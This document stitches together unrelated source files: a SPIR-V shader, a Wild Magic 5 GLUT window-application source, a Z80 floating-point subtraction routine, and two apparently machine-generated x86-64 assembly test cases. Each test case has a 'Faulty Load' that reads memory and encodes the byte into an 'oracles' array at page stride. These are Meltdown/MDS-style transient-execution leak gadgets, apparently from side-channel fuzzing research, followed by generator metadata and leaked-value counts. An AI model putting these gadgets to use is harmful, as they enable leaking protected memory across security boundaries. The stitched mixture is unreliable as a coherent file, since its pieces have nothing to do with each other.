OpMemoryModel Logical GLSL450
OpEntryPoint Fragment %4 "main" %9 %47
OpExecutionMode %4 OriginUpperLeft
OpSource ESSL 320
OpName %4 "main"
OpName %9 "_GLF_color"
OpName %15 "i"
OpName %19 "buf1"
OpMemberName %19 0 "_GLF_uniform_int_values"
OpName %21 ""
OpName %47 "gl_FragCoord"
OpName %53 "buf0"
OpMemberName %53 0 "_GLF_uniform_float_values"
OpName %55 ""
OpName %66 "buf2"
OpMemberName %66 0 "injectionSwitch"
OpName %68 ""
OpDecorate %9 Location 0
OpDecorate %18 ArrayStride 16
OpMemberDecorate %19 0 Offset 0
OpDecorate %19 Block
OpDecorate %21 DescriptorSet 0
OpDecorate %21 Binding 1
OpDecorate %47 BuiltIn FragCoord
OpDecorate %52 ArrayStride 16
OpMemberDecorate %53 0 Offset 0
OpDecorate %53 Block
OpDecorate %55 DescriptorSet 0
OpDecorate %55 Binding 0
OpMemberDecorate %66 0 Offset 0
OpDecorate %66 Block
OpDecorate %68 DescriptorSet 0
OpDecorate %68 Binding 2
%2 = OpTypeVoid
%3 = OpTypeFunction %2
%6 = OpTypeFloat 32
%7 = OpTypeVector %6 4
%8 = OpTypePointer Output %7
%9 = OpVariable %8 Output
%10 = OpConstant %6 1
%11 = OpConstant %6 0
%12 = OpConstantComposite %7 %10 %11 %11 %10
%13 = OpTypeInt 32 1
%14 = OpTypePointer Function %13
%16 = OpTypeInt 32 0
%17 = OpConstant %16 2
%18 = OpTypeArray %13 %17
%19 = OpTypeStruct %18
%20 = OpTypePointer Uniform %19
%21 = OpVariable %20 Uniform
%22 = OpConstant %13 0
%23 = OpConstant %13 1
%24 = OpTypePointer Uniform %13
%35 = OpTypeBool
%46 = OpTypePointer Input %7
%47 = OpVariable %46 Input
%48 = OpConstant %16 1
%49 = OpTypePointer Input %6
%52 = OpTypeArray %6 %48
%53 = OpTypeStruct %52
%54 = OpTypePointer Uniform %53
%55 = OpVariable %54 Uniform
%56 = OpTypePointer Uniform %6
%63 = OpTypeVector %6 3
%64 = OpConstantComposite %63 %10 %10 %10
%65 = OpTypeVector %6 2
%66 = OpTypeStruct %65
%67 = OpTypePointer Uniform %66
%68 = OpVariable %67 Uniform
%4 = OpFunction %2 None %3
%5 = OpLabel
%15 = OpVariable %14 Function
OpStore %9 %12
%25 = OpAccessChain %24 %21 %22 %23
%26 = OpLoad %13 %25
OpStore %15 %26
OpBranch %27
%27 = OpLabel
OpLoopMerge %29 %30 None
OpBranch %31
%31 = OpLabel
%32 = OpLoad %13 %15
%33 = OpAccessChain %24 %21 %22 %22
%34 = OpLoad %13 %33
%36 = OpSLessThan %35 %32 %34
OpBranchConditional %36 %28 %29
%28 = OpLabel
%37 = OpLoad %13 %15
%38 = OpAccessChain %24 %21 %22 %23
%39 = OpLoad %13 %38
%40 = OpINotEqual %35 %37 %39
OpSelectionMerge %42 None
OpBranchConditional %40 %41 %42
%41 = OpLabel
OpReturn
%42 = OpLabel
OpBranch %30
%30 = OpLabel
%44 = OpLoad %13 %15
%45 = OpIAdd %13 %44 %23
OpStore %15 %45
OpBranch %27
%29 = OpLabel
%50 = OpAccessChain %49 %47 %48
%51 = OpLoad %6 %50
%57 = OpAccessChain %56 %55 %22 %22
%58 = OpLoad %6 %57
%59 = OpFOrdLessThan %35 %51 %58
OpSelectionMerge %61 None
OpBranchConditional %59 %60 %61
%60 = OpLabel
OpReturn
%61 = OpLabel
%69 = OpAccessChain %56 %68 %22 %48
%70 = OpLoad %6 %69
%71 = OpCompositeExtract %6 %64 0
%72 = OpCompositeExtract %6 %64 1
%73 = OpCompositeExtract %6 %64 2
%74 = OpCompositeConstruct %7 %71 %72 %73 %70
OpStore %9 %74
OpReturn
OpFunctionEnd
|
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r9
push %rax
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_UC_ht+0x6911, %r9
mfence
mov (%r9), %edx
nop
nop
nop
nop
nop
add %rdx, %rdx
lea addresses_normal_ht+0xd991, %rcx
nop
nop
nop
and $25130, %rax
mov $0x6162636465666768, %r12
movq %r12, (%rcx)
nop
nop
nop
nop
nop
and $13372, %rcx
lea addresses_normal_ht+0x18611, %rax
nop
nop
nop
and %rbx, %rbx
mov $0x6162636465666768, %rcx
movq %rcx, (%rax)
xor %rcx, %rcx
lea addresses_WC_ht+0x124d1, %rsi
lea addresses_UC_ht+0x53c9, %rdi
clflush (%rsi)
nop
cmp %rdx, %rdx
mov $55, %rcx
rep movsb
nop
nop
nop
inc %rdi
lea addresses_normal_ht+0x18931, %rbx
nop
nop
nop
nop
nop
sub %rsi, %rsi
movl $0x61626364, (%rbx)
xor %r12, %r12
lea addresses_UC_ht+0x1be69, %r12
nop
nop
inc %rbx
mov (%r12), %dx
nop
nop
nop
nop
nop
dec %rdx
lea addresses_normal_ht+0x1da91, %rbx
nop
nop
nop
nop
inc %rsi
movb $0x61, (%rbx)
xor %rdx, %rdx
lea addresses_D_ht+0x16c11, %r12
nop
nop
nop
nop
nop
xor %rdi, %rdi
mov (%r12), %rax
nop
nop
nop
sub %rcx, %rcx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r9
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r13
push %r15
push %rax
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
// Store
lea addresses_WT+0x1f611, %rcx
nop
nop
nop
nop
nop
add $56897, %r10
movb $0x51, (%rcx)
nop
nop
nop
nop
nop
xor %rbx, %rbx
// Store
lea addresses_UC+0x17991, %rbp
nop
nop
cmp $984, %r13
mov $0x5152535455565758, %rcx
movq %rcx, %xmm5
vmovups %ymm5, (%rbp)
nop
nop
nop
nop
sub %rbp, %rbp
// Store
lea addresses_D+0x8611, %rbx
nop
nop
nop
nop
nop
inc %r15
movb $0x51, (%rbx)
nop
nop
cmp $31614, %rbp
// REPMOV
lea addresses_D+0x8611, %rsi
lea addresses_UC+0xc711, %rdi
nop
nop
nop
nop
nop
and %rax, %rax
mov $63, %rcx
rep movsw
nop
nop
nop
nop
nop
sub %r10, %r10
// Load
lea addresses_PSE+0x4fa1, %rax
nop
nop
nop
nop
nop
xor %rbp, %rbp
vmovups (%rax), %ymm2
vextracti128 $1, %ymm2, %xmm2
vpextrq $0, %xmm2, %rsi
nop
nop
cmp %rbx, %rbx
// Store
lea addresses_UC+0x2e11, %rdi
and %rbx, %rbx
movw $0x5152, (%rdi)
nop
nop
nop
cmp %r15, %r15
// Store
lea addresses_D+0x1aa91, %rdi
nop
nop
sub $10450, %rbx
mov $0x5152535455565758, %r15
movq %r15, %xmm4
vmovups %ymm4, (%rdi)
nop
nop
nop
xor $61708, %rdi
// Store
lea addresses_normal+0xf3c1, %r15
nop
nop
nop
nop
nop
xor $51279, %rcx
mov $0x5152535455565758, %r10
movq %r10, %xmm4
vmovups %ymm4, (%r15)
nop
sub %rcx, %rcx
// Store
lea addresses_PSE+0x1e075, %rdi
nop
nop
dec %rbp
mov $0x5152535455565758, %rsi
movq %rsi, (%rdi)
cmp %rax, %rax
// Faulty Load
lea addresses_D+0x8611, %rbx
nop
inc %r13
movups (%rbx), %xmm1
vpextrq $0, %xmm1, %r10
lea oracles, %rsi
and $0xff, %r10
shlq $12, %r10
mov (%rsi,%r10,1), %r10
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %rax
pop %r15
pop %r13
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_D', 'congruent': 0}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_WT', 'congruent': 11}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_UC', 'congruent': 6}, 'OP': 'STOR'}
{'dst': {'same': True, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_D', 'congruent': 0}, 'OP': 'STOR'}
{'dst': {'same': False, 'congruent': 5, 'type': 'addresses_UC'}, 'OP': 'REPM', 'src': {'same': True, 'congruent': 0, 'type': 'addresses_D'}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_PSE', 'congruent': 2}}
{'dst': {'same': False, 'NT': True, 'AVXalign': False, 'size': 2, 'type': 'addresses_UC', 'congruent': 10}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_D', 'congruent': 7}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_normal', 'congruent': 2}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_PSE', 'congruent': 2}, 'OP': 'STOR'}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_D', 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_UC_ht', 'congruent': 5}}
{'dst': {'same': True, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_normal_ht', 'congruent': 7}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_normal_ht', 'congruent': 10}, 'OP': 'STOR'}
{'dst': {'same': True, 'congruent': 3, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 4, 'type': 'addresses_WC_ht'}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_normal_ht', 'congruent': 4}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_UC_ht', 'congruent': 1}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_normal_ht', 'congruent': 7}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_D_ht', 'congruent': 9}}
{'51': 21829}
51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51
*/
|
// Geometric Tools, LLC
// Copyright (c) 1998-2014
// Distributed under the Boost Software License, Version 1.0.
// http://www.boost.org/LICENSE_1_0.txt
// http://www.geometrictools.com/License/Boost/LICENSE_1_0.txt
//
// File Version: 5.6.0 (2011/07/23)
#include "Wm5ApplicationPCH.h"
#include "Wm5WindowApplication.h"
#include "Wm5GlutRendererInput.h"
#include "Wm5GlutRendererData.h"
using namespace Wm5;
const int WindowApplication::KEY_ESCAPE = 0x1B;
const int WindowApplication::KEY_LEFT_ARROW = GLUT_KEY_LEFT;
const int WindowApplication::KEY_RIGHT_ARROW = GLUT_KEY_RIGHT;
const int WindowApplication::KEY_UP_ARROW = GLUT_KEY_UP;
const int WindowApplication::KEY_DOWN_ARROW = GLUT_KEY_DOWN;
const int WindowApplication::KEY_HOME = GLUT_KEY_HOME;
const int WindowApplication::KEY_END = GLUT_KEY_END;
const int WindowApplication::KEY_PAGE_UP = GLUT_KEY_PAGE_UP;
const int WindowApplication::KEY_PAGE_DOWN = GLUT_KEY_PAGE_DOWN;
const int WindowApplication::KEY_INSERT = GLUT_KEY_INSERT;
const int WindowApplication::KEY_DELETE = 0x2E;
const int WindowApplication::KEY_F1 = GLUT_KEY_F1;
const int WindowApplication::KEY_F2 = GLUT_KEY_F2;
const int WindowApplication::KEY_F3 = GLUT_KEY_F3;
const int WindowApplication::KEY_F4 = GLUT_KEY_F4;
const int WindowApplication::KEY_F5 = GLUT_KEY_F5;
const int WindowApplication::KEY_F6 = GLUT_KEY_F6;
const int WindowApplication::KEY_F7 = GLUT_KEY_F7;
const int WindowApplication::KEY_F8 = GLUT_KEY_F8;
const int WindowApplication::KEY_F9 = GLUT_KEY_F9;
const int WindowApplication::KEY_F10 = GLUT_KEY_F10;
const int WindowApplication::KEY_F11 = GLUT_KEY_F11;
const int WindowApplication::KEY_F12 = GLUT_KEY_F12;
const int WindowApplication::KEY_BACKSPACE = 0x08;
const int WindowApplication::KEY_TAB = 0x09;
const int WindowApplication::KEY_ENTER = 0x0D;
const int WindowApplication::KEY_RETURN = 0x0D;
const int WindowApplication::KEY_SHIFT = GLUT_ACTIVE_SHIFT;
const int WindowApplication::KEY_CONTROL = GLUT_ACTIVE_CTRL;
const int WindowApplication::KEY_ALT = 0; // not currently handled
const int WindowApplication::KEY_COMMAND = 0; // not currently handled
const int WindowApplication::MOUSE_LEFT_BUTTON = GLUT_LEFT_BUTTON;
const int WindowApplication::MOUSE_MIDDLE_BUTTON = GLUT_MIDDLE_BUTTON;
const int WindowApplication::MOUSE_RIGHT_BUTTON = GLUT_RIGHT_BUTTON;
const int WindowApplication::MOUSE_UP = GLUT_UP;
const int WindowApplication::MOUSE_DOWN = GLUT_DOWN;
const int WindowApplication::MODIFIER_CONTROL = 0x0008;
const int WindowApplication::MODIFIER_LBUTTON = 0x0001;
const int WindowApplication::MODIFIER_MBUTTON = 0x0010;
const int WindowApplication::MODIFIER_RBUTTON = 0x0002;
const int WindowApplication::MODIFIER_SHIFT = 0x0004;
// Reading the state of the modifiers from GLUT cannot be done within the
// motion callback, so we cache it here.
static unsigned int gsGLUTModifiers = 0;
static int gsButton = -1;
//----------------------------------------------------------------------------
void WindowApplication::SetMousePosition (int, int)
{
assertion(false, "Not implemented.\n");
}
//----------------------------------------------------------------------------
void WindowApplication::GetMousePosition (int&, int&) const
{
assertion(false, "Not implemented.\n");
}
//----------------------------------------------------------------------------
int WindowApplication::GetStringWidth (const char* text) const
{
if (!text || strlen(text) == 0)
{
return 0;
}
return 8.0f*strlen(text);
}
//----------------------------------------------------------------------------
int WindowApplication::GetCharacterWidth (const char) const
{
return 8.0f;
}
//----------------------------------------------------------------------------
int WindowApplication::GetFontHeight () const
{
return 13.0f;
}
//----------------------------------------------------------------------------
static void ReshapeCallback (int width, int height)
{
WindowApplication* theApp =
(WindowApplication*)Application::TheApplication;
if (theApp)
{
theApp->OnResize(width, height);
theApp->OnDisplay();
}
}
//----------------------------------------------------------------------------
static void DisplayCallback ()
{
WindowApplication* theApp =
(WindowApplication*)Application::TheApplication;
if (theApp)
{
theApp->OnDisplay();
}
}
//----------------------------------------------------------------------------
static void IdleCallback ()
{
WindowApplication* theApp =
(WindowApplication*)Application::TheApplication;
if (theApp)
{
theApp->OnIdle();
}
}
//----------------------------------------------------------------------------
static void KeyDownCallback (unsigned char key, int x, int y)
{
WindowApplication* theApp =
(WindowApplication*)Application::TheApplication;
if (theApp)
{
if (key == theApp->KEY_TERMINATE)
{
exit(0);
}
theApp->OnKeyDown(key, x, y);
}
}
//----------------------------------------------------------------------------
static void KeyUpCallback (unsigned char key, int x, int y)
{
WindowApplication* theApp =
(WindowApplication*)Application::TheApplication;
if (theApp)
{
theApp->OnKeyUp(key, x, y);
}
}
//----------------------------------------------------------------------------
static void SpecialKeyDownCallback (int key, int x, int y)
{
WindowApplication* theApp =
(WindowApplication*)Application::TheApplication;
if (theApp)
{
theApp->OnSpecialKeyDown(key, x, y);
}
}
//----------------------------------------------------------------------------
static void SpecialKeyUpCallback (int key, int x, int y)
{
WindowApplication* theApp =
(WindowApplication*)Application::TheApplication;
if (theApp)
{
theApp->OnSpecialKeyUp(key, x, y);
}
}
//----------------------------------------------------------------------------
static void MouseClickCallback (int button, int state, int x, int y)
{
WindowApplication* theApp =
(WindowApplication*)Application::TheApplication;
if (theApp)
{
int modifiers = glutGetModifiers();
gsGLUTModifiers = *(unsigned int*)&modifiers;
if (state == WindowApplication::MOUSE_DOWN)
{
gsButton = button;
}
else
{
gsButton = -1;
}
theApp->OnMouseClick(button, state, x, y, gsGLUTModifiers);
}
}
//----------------------------------------------------------------------------
static void MotionCallback (int x, int y)
{
WindowApplication* theApp =
(WindowApplication*)Application::TheApplication;
if (theApp)
{
theApp->OnMotion(gsButton, x, y, gsGLUTModifiers);
}
}
//----------------------------------------------------------------------------
static void PassiveMotionCallback (int x, int y)
{
WindowApplication* theApp =
(WindowApplication*)Application::TheApplication;
if (theApp)
{
theApp->OnPassiveMotion(x, y);
}
}
//----------------------------------------------------------------------------
static void Terminate ()
{
WindowApplication* theApp =
(WindowApplication*)Application::TheApplication;
if (theApp)
{
theApp->OnTerminate();
glutDestroyWindow(theApp->GetWindowID());
Renderer* renderer = (Renderer*)theApp->GetRenderer();
delete0(renderer);
}
}
//----------------------------------------------------------------------------
int WindowApplication::Main (int, char**)
{
WindowApplication* theApp = (WindowApplication*)TheApplication;
theApp->KEY_TERMINATE = WindowApplication::KEY_ESCAPE;
// OpenGL uses a projection matrix for depth in [-1,1].
Camera::SetDefaultDepthType(Camera::PM_DEPTH_MINUS_ONE_TO_ONE);
// Register the termination function so that we can destroy the window
// after GLUT abnormally calls 'exit'.
if (atexit(Terminate) != 0)
{
return -1;
}
// Give GLUT dummy arguments, because we are not allowing control to
// GLUT via command-line parameters.
int numArguments = 1;
char* arguments[1];
arguments[0] = new char[6];
strcpy(arguments[0], "dummy");
glutInit(&numArguments, arguments);
delete[] arguments[0];
// We will always use double buffering, 32-bit RGBA front buffer,
// depth buffer, and stencil buffer.
if (mNumMultisamples == 0)
{
glutInitDisplayMode(GLUT_DOUBLE | GLUT_RGBA | GLUT_DEPTH | GLUT_STENCIL);
}
else
{
glutInitDisplayMode(GLUT_DOUBLE | GLUT_RGBA | GLUT_DEPTH | GLUT_STENCIL
| GLUT_MULTISAMPLE);
mNumMultisamples = glutGet(GLUT_WINDOW_NUM_SAMPLES);
}
// Allow work to be done before the window is created.
if (!theApp->OnPrecreate())
{
return -2;
}
// Create window and renderer. Multisampling is not supported.
glutInitWindowSize(theApp->GetWidth(), theApp->GetHeight());
RendererInput input;
input.mWindowID = glutCreateWindow(theApp->GetWindowTitle());
input.mDisableVerticalSync = true;
mRenderer = new0 Renderer(input, theApp->GetWidth(), theApp->GetHeight(),
mColorFormat, mDepthStencilFormat, mNumMultisamples);
// Save the handle as an 'int' for portable handle storage.
theApp->SetWindowID(input.mWindowID);
// Set the callbacks for event handling.
glutReshapeFunc(ReshapeCallback);
glutDisplayFunc(DisplayCallback);
glutIdleFunc(IdleCallback);
glutKeyboardFunc(KeyDownCallback);
glutKeyboardUpFunc(KeyUpCallback);
glutSpecialFunc(SpecialKeyDownCallback);
glutSpecialUpFunc(SpecialKeyUpCallback);
glutMouseFunc(MouseClickCallback);
glutMotionFunc(MotionCallback);
glutPassiveMotionFunc(PassiveMotionCallback);
if (theApp->OnInitialize())
{
// The default OnPreidle() clears the buffers. Allow the application
// to fill them before the window is shown and before the event loop
// starts.
theApp->OnPreidle();
glutMainLoop();
}
// Because glutMainLoop never exits, the clean-up is handled via the
// static Terminate in this file (registered with 'atexit').
return 0;
}
//----------------------------------------------------------------------------
|
if not defined @FSUB
; continue from @FMOD (if it was included)
; Subtract two floating-point numbers
; In: HL, DE numbers to subtract, no restrictions
; Out: HL = HL - DE
; Pollutes: AF, B, DE
@FSUB:
if not defined FSUB
; *****************************************
FSUB ; *
; *****************************************
endif
if SIGN_BIT = $0F
LD A, D ; 1:4
XOR SIGN_MASK ; 2:7
LD D, A ; 1:4 DE = -DE
endif
if SIGN_BIT = $07
LD A, E ; 1:4
XOR SIGN_MASK ; 2:7
LD E, A ; 1:4 DE = -DE
endif
if SIGN_BIT != $07 && SIGN_BIT != $0F
.ERROR Unexpected value in SIGN_BIT!
endif
; continue with FADD
if defined @FADD
.ERROR You must exclude the file "fadd.asm" or include "fsub.asm" first
else
include "fadd.asm"
endif
endif
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r14
push %r9
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WC_ht+0xa40c, %r12
nop
nop
nop
nop
add $28401, %r14
movups (%r12), %xmm7
vpextrq $1, %xmm7, %rdx
nop
nop
inc %r9
lea addresses_WC_ht+0x15fae, %rsi
lea addresses_D_ht+0x2cc, %rdi
nop
add $6844, %r11
mov $37, %rcx
rep movsb
cmp %r9, %r9
lea addresses_D_ht+0xc0c, %rdx
nop
nop
nop
inc %r14
movb (%rdx), %cl
nop
nop
xor %rdi, %rdi
lea addresses_normal_ht+0xc974, %r14
sub $57965, %rdx
movl $0x61626364, (%r14)
and $45643, %rcx
lea addresses_normal_ht+0xd76c, %rsi
lea addresses_A_ht+0x174c0, %rdi
sub $23290, %r11
mov $5, %rcx
rep movsw
nop
nop
nop
nop
cmp %rcx, %rcx
lea addresses_normal_ht+0x1480c, %rsi
nop
nop
nop
nop
and %rdx, %rdx
and $0xffffffffffffffc0, %rsi
vmovntdqa (%rsi), %ymm3
vextracti128 $0, %ymm3, %xmm3
vpextrq $1, %xmm3, %rcx
nop
nop
xor $56299, %rdx
lea addresses_A_ht+0x802c, %r14
nop
dec %r11
mov $0x6162636465666768, %r9
movq %r9, %xmm1
vmovups %ymm1, (%r14)
nop
nop
xor $33817, %rsi
lea addresses_normal_ht+0xf4bc, %rdx
nop
inc %rcx
mov $0x6162636465666768, %rdi
movq %rdi, (%rdx)
nop
nop
add $14614, %rcx
lea addresses_UC_ht+0x563a, %rdi
nop
nop
nop
nop
nop
inc %rcx
mov $0x6162636465666768, %r9
movq %r9, %xmm5
vmovups %ymm5, (%rdi)
nop
nop
nop
nop
cmp %rdx, %rdx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r9
pop %r14
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r14
push %r15
push %rax
push %rbx
push %rdi
push %rdx
// Store
lea addresses_RW+0x80c, %r12
nop
add $15607, %r14
mov $0x5152535455565758, %rdx
movq %rdx, (%r12)
nop
nop
nop
nop
sub %rdx, %rdx
// Faulty Load
lea addresses_normal+0x13c0c, %r12
nop
add %rdi, %rdi
mov (%r12), %r15
lea oracles, %rdi
and $0xff, %r15
shlq $12, %r15
mov (%rdi,%r15,1), %r15
pop %rdx
pop %rdi
pop %rbx
pop %rax
pop %r15
pop %r14
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_normal', 'same': False, 'size': 2, 'congruent': 0, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_RW', 'same': False, 'size': 8, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'type': 'addresses_normal', 'same': True, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 16, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_D_ht', 'same': False, 'size': 1, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 4, 'congruent': 3, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'}
{'src': {'type': 'addresses_normal_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 32, 'congruent': 8, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 32, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_normal_ht', 'same': True, 'size': 8, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_UC_ht', 'same': True, 'size': 32, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 